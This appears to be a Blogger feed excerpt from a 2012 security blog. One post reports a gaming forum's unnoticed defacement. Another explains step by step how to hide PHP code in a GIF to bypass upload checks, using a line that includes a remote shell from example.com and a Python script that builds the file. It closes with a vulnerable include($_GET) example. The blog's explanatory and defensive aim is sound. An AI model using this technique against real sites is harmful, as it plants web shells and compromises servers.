&lt;br /&gt;
But when it comes to gamer.lk it was the opposite of it. When I made the post on gamer.lk forum about the hacking of their website, which in fact the hacking has gone without notice for 3 months. The admins were quick to modify my post and lock the post. So users can&#39;t comment on the post and the post will not be noticed by other users.&lt;br /&gt;
&lt;br /&gt;
And if the hackers have accessed the user information of the website, tell users to change their passwords and if they are using the same password on other websites change that passwords as well. Keeping quiet is the worst thing to do.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/7292272225984138286/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/how-to-prevent-your-website-from-getting-hacked.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7292272225984138286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/7292272225984138286'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/how-to-prevent-your-website-from-getting-hacked.html' title='How To Prevent Your Website From Getting Hacked.'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgICOrY-tfgZPQxLB3WnYb3yUklBMppmyz-pb1l7nIUHp6Pg-V-TKAQhJ0Q02Scf_wvNpKMNaCsRG5v6BufMPwjebbo9s6wUlA8hFRPbjYiRL5sF4uITzigIunDQ4QsNos725A3nZ331To/s72-c/hackers21.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-6486478909393130084</id><published>2012-07-18T19:29:00.002+05:30</published><updated>2012-07-22T11:39:22.809+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Internet"/><category scheme="http://www.blogger.com/atom/ns#" term="Malicious PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="Malware"/><category scheme="http://www.blogger.com/atom/ns#" term="Scams"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Gamer.lk Gets Hacked And Stays Hacked For 3 Months</title><content type='html'>Yesterday, I was searching on Google and I&#39;ve set the search results to show results from only Sri Lankan websites, and on the search results I saw a page from &lt;a href=&quot;http://gamer.lk/&quot;&gt;gamer.lk&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Gamer.lk is the most popular gaming forum in Sri Lanka with nearly 100,000 gamers, some of my friends are also registered on the website. Gamer.lk also selects the people who go to the &lt;a href=&quot;http://www.wcg.com/&quot;&gt;world gaming championships&lt;/a&gt; from Sri Lanka.&lt;br /&gt;
&lt;br /&gt;
However, the tile of the link looked very unfamiliar and when I clicked on the link it showed up this, a page unlikely to be from gamer.lk.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRmgiK82QADZUNCkeWW0QBHVZsUmDcVgc9hvOknhJ0CwH892GIgrqs0ydJPz-KcpUKrYxVd60XO0SuPpF5p4Fj0tBsQ9DW_QbqDX4D63lsyC904ZokQul89uN7jXcWRe-R2wtUFc6Tqi0/s1600/Screenshot-1(1).png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;257&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRmgiK82QADZUNCkeWW0QBHVZsUmDcVgc9hvOknhJ0CwH892GIgrqs0ydJPz-KcpUKrYxVd60XO0SuPpF5p4Fj0tBsQ9DW_QbqDX4D63lsyC904ZokQul89uN7jXcWRe-R2wtUFc6Tqi0/s400/Screenshot-1(1).png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Click to see the large image&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
So what&#39;s this page doing in gamer.lk, obviously gamer.lk is not selling illegal drugs. So when I googled site:gamer.lk intitle:pharmacy nearly 30 pages like this came up. These Google results dates back to nearly 3 months back, to April 21, 2012. And some of the  Google results even says that the site might be compromised. &lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVmxahfHRvgFXmaVM9jPI7fHCGxbHWkYJamqDOGy1dtXAKAd3jh0ODpCXM-O4qCq0m7kdEi8Goo_O0wyD8dIJyJGLUythID4DMZL-iL3Kl_ZmHjfMv0EENDSobWTma-RO8qBacSr_E7RA/s1600/Screenshot-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;73&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVmxahfHRvgFXmaVM9jPI7fHCGxbHWkYJamqDOGy1dtXAKAd3jh0ODpCXM-O4qCq0m7kdEi8Goo_O0wyD8dIJyJGLUythID4DMZL-iL3Kl_ZmHjfMv0EENDSobWTma-RO8qBacSr_E7RA/s400/Screenshot-1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;The fake pages dates back to April 21&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ECkeT_SExgyUmNNVGrLghC7ZhnG7PRkEMwqOV9f_gGy603sX0-HxhetzkgJz8VLTIZzgWq9sAZesrBguFMvRB7AIcCcFFfXdJve5LBjmYJWyZjpyiW3r3LSixNp_OJEu3z0a-zTlnjQ/s1600/Screenshot.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;90&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8ECkeT_SExgyUmNNVGrLghC7ZhnG7PRkEMwqOV9f_gGy603sX0-HxhetzkgJz8VLTIZzgWq9sAZesrBguFMvRB7AIcCcFFfXdJve5LBjmYJWyZjpyiW3r3LSixNp_OJEu3z0a-zTlnjQ/s400/Screenshot.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Google warns the site might be compromised&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
This is a common thing for fake websites selling drugs to hack websites and put these kind of pages to increase their Google page rank. Because this was un-attended by the admins of the website I made a small post on Gamer.lk. The site was quick to respond saying they knew a hacking was took place 3 months ago. And these pages are just spam posts by users. However, looking at the page and they are obviously defacements not spam posts.&lt;br /&gt;
&lt;br /&gt;
But the problem is not that, if they knew the site was hacked, did the hackers access the databases of the websites having user information. If so why didn&#39;t they warn the users to change the passwords? Why didn&#39;t they remove the defaced pages for 3 moths?&lt;br /&gt;
&lt;br /&gt;
Not even that there was a malicious PHP code in the site for all this time which was encrypted, &lt;a href=&quot;http://nopaste.me/paste/9637759335005ad4838dcf&quot;&gt;http://nopaste.me/paste/9637759335005ad4838dcf&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
So if you are one of the 100,000 users of gamer.lk it&#39;s better to change your password and if you are using the same password for other websites like your email and Facebook, change that password as well. Read this &lt;a href=&quot;http://nakedsecurity.sophos.com/2012/05/25/how-long-would-it-take-to-crack-your-password/&quot;&gt;post on NakedSecuity&lt;/a&gt; for picking up hard to crack passwords.&lt;br /&gt;
&lt;br /&gt;
This is not the only Sri Lankan website that has come to this, if you look around you will find more websites like this.&lt;br /&gt;
&lt;br /&gt;
Update :&lt;br /&gt;
&lt;br /&gt;
Gamer.lk is using a software called SMF (simple machines forum) and Tiny Portal, both are highly buggy with lost of security issues. Although the Tiny Portal they are using is quit new, the SMF version is 1.1.16 which is a very much older version of it.&lt;br /&gt;
&lt;br /&gt;
There are so many exploits in SMF 1.1.16 that you can find here : &lt;a href=&quot;http://www.exploit-db.com/search/?action=search&amp;amp;filter_page=1&amp;amp;filter_description=simple+machines+forum&amp;amp;filter_exploit_text=&amp;amp;filter_author=&amp;amp;filter_platform=0&amp;amp;filter_type=0&amp;amp;filter_lang_id=0&amp;amp;filter_port=&amp;amp;filter_osvdb=&amp;amp;filter_cve=&quot;&gt;http://www.exploit-db.com/search/?action=search&amp;amp;filter_page=1&amp;amp;filter_description=simple+machines+forum&amp;amp;filter_exploit_text=&amp;amp;filter_author=&amp;amp;filter_platform=0&amp;amp;filter_type=0&amp;amp;filter_lang_id=0&amp;amp;filter_port=&amp;amp;filter_osvdb=&amp;amp;filter_cve=&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Some of these exploits include code injections which might have been used to hack gamer.lk, the exploits themselves date back to 2008, 4 years which is a long time. Thankfully the hackers have defaced only few pages to increase Google rank, not the whole forum.&lt;br /&gt;
&lt;br /&gt;
I&#39;ve talked about this in my &lt;a href=&quot;http://techyzilla.blogspot.com/2012/07/how-to-prevent-your-website-from-getting-hacked.html&quot;&gt;next post&lt;/a&gt;, the importance of keeping things up to date.</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/6486478909393130084/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/gmaer-lk-gets-hacked-and-stays-hacked-.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/6486478909393130084'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/6486478909393130084'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/gmaer-lk-gets-hacked-and-stays-hacked-.html' title='Gamer.lk Gets Hacked And Stays Hacked For 3 Months'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRmgiK82QADZUNCkeWW0QBHVZsUmDcVgc9hvOknhJ0CwH892GIgrqs0ydJPz-KcpUKrYxVd60XO0SuPpF5p4Fj0tBsQ9DW_QbqDX4D63lsyC904ZokQul89uN7jXcWRe-R2wtUFc6Tqi0/s72-c/Screenshot-1(1).png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-6942846669240881538</id><published>2012-07-18T11:36:00.001+05:30</published><updated>2012-07-18T18:43:22.917+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Malicious PHP In Images"/><category scheme="http://www.blogger.com/atom/ns#" term="Malware"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><title type='text'>Injecting Malicious PHP In To An Image File : Injection And Execution</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6MNmsrnHVEmhmGfN_ilzxLSEB-GP4WdKBOAp2w6y74VSYNI8gDEksGHO63aBD219ZVr2yf8BhyphenhyphenYhIuGZwnKXb79AIi2brzu4DIOMGacCs2LEER1zVimIzsjlKcttf0anbrTo8VqdbmGs/s1600/87_maliciousSoftware.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6MNmsrnHVEmhmGfN_ilzxLSEB-GP4WdKBOAp2w6y74VSYNI8gDEksGHO63aBD219ZVr2yf8BhyphenhyphenYhIuGZwnKXb79AIi2brzu4DIOMGacCs2LEER1zVimIzsjlKcttf0anbrTo8VqdbmGs/s1600/87_maliciousSoftware.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
In my last two posts about Malicious PHP Code In The Form of An Image, I only talked about uploading PHP as image files and how websites can be vulnerable to hacking. However in this post I&#39;m going to talk about how to inject PHP code in to a valid image file.&lt;br /&gt;
&lt;br /&gt;
Because malicious PHP code can be uploaded for a website as a JPG or GIf file through insecure upload forms, most upload forms don&#39;t check the file extension, but check the content of the file, or check the content of the file and the extension. In that kind of situations a PHP code cannot be uploaded as a image file.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s say there is a upload form that doesn&#39;t check the file extension but checks the contents of the file. It&#39;s secure than just checking the extension of the file. So a hacker can overcome this by injecting malicious PHP code to a valid image file, and upload it as PHP. Which I&#39;m going to talk about now.&lt;br /&gt;
&lt;br /&gt;
There are few ways to add PHP code to a image file, one way is to add the PHP code to the EXITE meta data of the image by simply downloading an EXIF editor, or using a software like GIMP to add the php code to the comment section of the image, or using a HEX editor.&lt;br /&gt;
&lt;br /&gt;
But, there is more simpler way to do it. First make a simple white GIF file, JPG will do too. Make sure it&#39;s white, I&#39;ve used other images but sometimes it give errors in PHP because of the characters of the image code.&lt;br /&gt;
&lt;br /&gt;
Make a small PHP file, make sure the code is small because sometimes it might give a PHP error too if it&#39;s too long because we are injecting this to a valid image file, this code will do.&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #5f5035; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&quot;http://example.com/shell.php&quot;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #5f5035; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Save this as a PHP file.&lt;br /&gt;
&lt;br /&gt;
Then make this small piece of python code,&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot; style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;lavender &lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;open&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;msgif.gif&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;rb&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;read&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;
lavender &lt;span style=&quot;color: #808030;&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e34adc;&quot;&gt;open&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;test.php&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;rb&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;read&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;
&lt;span style=&quot;color: #e34adc;&quot;&gt;open&lt;/span&gt; &lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;newphp.php&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #0000e6;&quot;&gt;&#39;wb&#39;&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #808030;&quot;&gt;.&lt;/span&gt;write&lt;span style=&quot;color: #808030;&quot;&gt;(&lt;/span&gt;lavender&lt;span style=&quot;color: #808030;&quot;&gt;)&lt;/span&gt;
&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Run the python script and the PHP the end result will be a valid image file with malicious PHP code in it, with PHP extension.&lt;br /&gt;
&lt;br /&gt;
And you can upload this to a an upload form that check the contents of an file and not the extension of the file. These forms most of the time check the header of the file (sometimes the header and the width of and height of the image) and does not check the extension because checking the contents of the file is better than just checking the extension and because of this the file can be uploaded as a PHP file. And typing the URL of of the file will execute the PHP code and leaving out the JPG or GIF code. The remote shell will be called and because PHP code executes on the server the remote shell will be executed on the server that has the malicious image.&lt;br /&gt;
&lt;br /&gt;
For upload forms that check both the extension and the content of the file, the malicious image that we made can be renamed as GIF or JPG and can be uploaded to the website, and it can be executed just like a PHP file with an image extension like I talked in &lt;a href=&quot;http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-gif.html&quot;&gt;my previous 2 posts&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Sometimes websites check for the size of the image with the &lt;a href=&quot;http://www.blogger.com/php.net/manual/en/function.getimagesize.php&quot;&gt;PHP get image size&lt;/a&gt; function, so the if the image is too small it will be not allowed to be uploaded. But if we make a bigger white image it will most probably allow the file to be uploaded.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
This can be overcome by forms by not just uploading the file, but recreating image on the server using &lt;a href=&quot;http://www.blogger.com/php.net/manual/en/function.imagecreate.php&quot;&gt;PHP create image function&lt;/a&gt;, or removing the metadata of the image before uploading as well.&lt;br /&gt;
&lt;br /&gt;
I think this brings a wrap to injection malicious PHP code to an image, I&#39;ll write a post if I have anything more to add.&lt;br /&gt;
&lt;br /&gt;
Credits : &lt;a href=&quot;http://twitter.com/sambowne&quot;&gt;Sam Bowne&lt;/a&gt;, &lt;a href=&quot;http://twitter.com/le_researcher&quot; target=&quot;_blank&quot;&gt;LeRes&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://techyzilla.blogspot.com/feeds/6942846669240881538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/6942846669240881538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3512179240779188020/posts/default/6942846669240881538'/><link rel='alternate' type='text/html' href='http://techyzilla.blogspot.com/2012/07/injecting-malicious-php-in-to-an-image-file.html' title='Injecting Malicious PHP In To An Image File : Injection And Execution'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6MNmsrnHVEmhmGfN_ilzxLSEB-GP4WdKBOAp2w6y74VSYNI8gDEksGHO63aBD219ZVr2yf8BhyphenhyphenYhIuGZwnKXb79AIi2brzu4DIOMGacCs2LEER1zVimIzsjlKcttf0anbrTo8VqdbmGs/s72-c/87_maliciousSoftware.jpg" height="72" width="72"/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3512179240779188020.post-3563464401081116669</id><published>2012-07-17T09:32:00.000+05:30</published><updated>2012-07-17T11:13:48.457+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Infosec"/><category scheme="http://www.blogger.com/atom/ns#" term="Malicious PHP In Images"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP"/><category scheme="http://www.blogger.com/atom/ns#" term="TechyZilla"/><title type='text'>Malicious PHP Code In The Form of An Image : Insecure Web Apps.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKSyr1AxgSVsCNJ-CgUwJU6IdzHQ-6bBDonQRspaNNunV49K_QbCV697-PUk6sMD-ahT8caKzJ0wpL9SSJKqwXsXkGSb0TkDtdBiNaYRmd3PpvJlEkCOwTKtFMAk-zVISwSaL1FwniXA/s1600/jpg_logo-2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;168&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKSyr1AxgSVsCNJ-CgUwJU6IdzHQ-6bBDonQRspaNNunV49K_QbCV697-PUk6sMD-ahT8caKzJ0wpL9SSJKqwXsXkGSb0TkDtdBiNaYRmd3PpvJlEkCOwTKtFMAk-zVISwSaL1FwniXA/s400/jpg_logo-2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;a href=&quot;http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-gif.html&quot; target=&quot;&quot;&gt;In my last blog post&lt;/a&gt; Malicious PHP Code In The Form of An Image I talked about how an insecure upload forms can be exploited by hackers to upload malicious PHP code (like a PHP shell) directly as a as a PHP file, or a PHP file with a JPG file extension to a vulnerable website. &lt;br /&gt;
&lt;br /&gt;
In that post I said that if the malicious PHP code is upload as a PHP file the file can be executed directly by typing the URL to the file. However if the malicious PHP code is having a JPG extension, the malicious PHP code can&#39;t be directly executed if the .htaccess file is not set to run the JPG file as a PHP file. &lt;br /&gt;
&lt;br /&gt;
However in &lt;a href=&quot;http://techyzilla.blogspot.com/2012/07/malicious-php-code-in-form-of-gif.html&quot;&gt;my previous post&lt;/a&gt; I said that there are indirect methods where a hacker can run the PHP code having a JPG extension. In this post I&#39; going to talk about few of these methods a hacker can exploit to run the GIF or JPG as a PHP file. Remember, in this post and in the post before I&#39;m talking about a PHP file having a JPG of GIF extension, not a valid GIF or JPG image injected with a PHP code, I&#39;m going to come to that part later)&lt;br /&gt;
&lt;br /&gt;
Let&#39;s take an example that your website has an insecure upload form, where it only checks the extension of the files that are being uploaded, it will only alow users to upload files with a valid image extension like JPG, GIF etc. However this form only checks the extension but never checks the contents of the file. Therefor a file with malicious PHP code but having a file extension of a image like JPG or GIF will be happily accepted and the file will be uploaded to your website.&lt;br /&gt;
&lt;br /&gt;
But the file cannot be directly executed because it&#39;s having a JPG or GIF file extension. But let&#39;s say the uploaded images by the user is loaded in another page that of your site. Let&#39;s say you call the uploaded images like this. The image.gif is a PHP file having a .GIF extension.&lt;br /&gt;
&lt;div style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #5f5035; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: maroon; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace; font-weight: bold;&quot;&gt;include&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;images/&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: black; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #797997; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;$_GET&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #0000e6; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;&#39;image.gif&#39;&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: #808030; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background: none repeat scroll 0% 0% rgb(255, 255, 232); color: purple; font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;&quot;&gt;
